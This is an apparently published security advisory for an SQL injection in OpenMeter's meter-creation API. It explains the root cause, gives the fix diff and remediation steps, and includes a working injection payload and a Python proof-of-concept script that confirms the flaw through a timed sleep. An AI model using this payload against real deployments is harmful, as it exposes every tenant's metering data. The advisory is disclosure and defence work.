OpenMeter CVE-2026-8462
MEDIUMLifecycle Timeline
2DescriptionCVE.org
Summary
An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.
Details
openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:
sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $ → $$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice - the query is never parameterized.
The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early - before the injected branch can execute.
Working payload:
$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --Generated SQL:
SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'Fix - replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:
-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))PoC
poc.py:
import json, time, uuid
from urllib.request import Request, urlopen
SLEEP = 3
API = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"
def post_meter(value_property):
body = json.dumps({
"slug": f"poc_{uuid.uuid4().hex[:8]}",
"eventType": "x",
"aggregation": "SUM",
"valueProperty": value_property,
}).encode()
req = Request(f"{API}/api/v1/meters", data=body,
headers={"Content-Type": "application/json"}, method="POST")
t0 = time.monotonic()
with urlopen(req, timeout=SLEEP + 10) as r:
return r.status, time.monotonic() - t0
_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)
print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s (HTTP {status})")
print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.pyExpected output:
baseline : 0.036s
injected : 3.031s (HTTP 200)
result : sleep(3) CONFIRMEDImpact
SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security - a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research
AnalysisAI
SQL injection in OpenMeter's meter creation API allows any authenticated tenant to execute arbitrary ClickHouse SQL against a shared database with no row-level security, enabling full cross-tenant data exfiltration. The vulnerable endpoint is POST /api/v1/meters, where the valueProperty and groupBy fields are interpolated directly into ClickHouse SELECT statements via fmt.Sprintf without parameterization, and the sanitization function (sqlbuilder.Escape) only escapes library-internal placeholder characters - not single quotes. A publicly available exploit code (PoC) exists demonstrating confirmed time-based blind injection, and no public exploit identified at time of analysis in the CISA KEV sense, though the PoC lowers the barrier to exploitation significantly.
Technical ContextAI
OpenMeter is a Go-based metering platform (package: pkg:go/github.com_openmeterio_openmeter) that uses ClickHouse as its streaming analytics backend. The root cause (CWE-89, Improper Neutralization of Special Elements in an SQL Command) lives in openmeter/streaming/clickhouse/utils_query.go:15, where user-supplied JSONPath strings from the meter creation API are interpolated into raw ClickHouse SQL using fmt.Sprintf. The sanitization function sqlbuilder.Escape() from go-sqlbuilder v1.40.2 only substitutes dollar signs ($ → $$) to avoid conflicts with the library's own placeholder syntax - it explicitly does not escape single quotes. The query builder's sb.Build() call always returns an empty args slice, confirming the query is never parameterized. A secondary bypass exists: ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath, which ValidateJSONPath silently treats as rejection and returns early. Attackers must prefix payloads with a valid JSONPath token (e.g., $.foo) to pass this check and reach the execution stage. The shared openmeter.om_events table has no row-level security, so a successful injection operates across all tenant data with no access boundary.
RemediationAI
Upgrade to OpenMeter v1.0.0-beta.228 or later, confirmed fixed via PR #4383 (https://github.com/openmeterio/openmeter/pull/4383) and commit 6ce29e743165890c10346f4c71d5bf79f1ecaf6f. The fix replaces the unsafe fmt.Sprintf string interpolation with sqlbuilder.Buildf() using a %v placeholder, which causes JSONPath values to be passed as bound query parameters (? placeholders in the generated SQL) rather than concatenated into the query string - confirmed by the added test asserting the output is SELECT JSON_VALUE('{}', ?) with args []interface{}{'$.foo.bar'}. The full release is at https://github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228. If immediate patching is not feasible, restrict access to POST /api/v1/meters at the reverse proxy or API gateway level so that only trusted administrative clients (not individual tenants) can invoke meter creation - this eliminates the attack surface but prevents self-service meter provisioning by tenants. There is no server-side configuration workaround that preserves the existing meter creation functionality without applying the patch.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-89 – SQL Injection
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-wc3v-3457-c8cm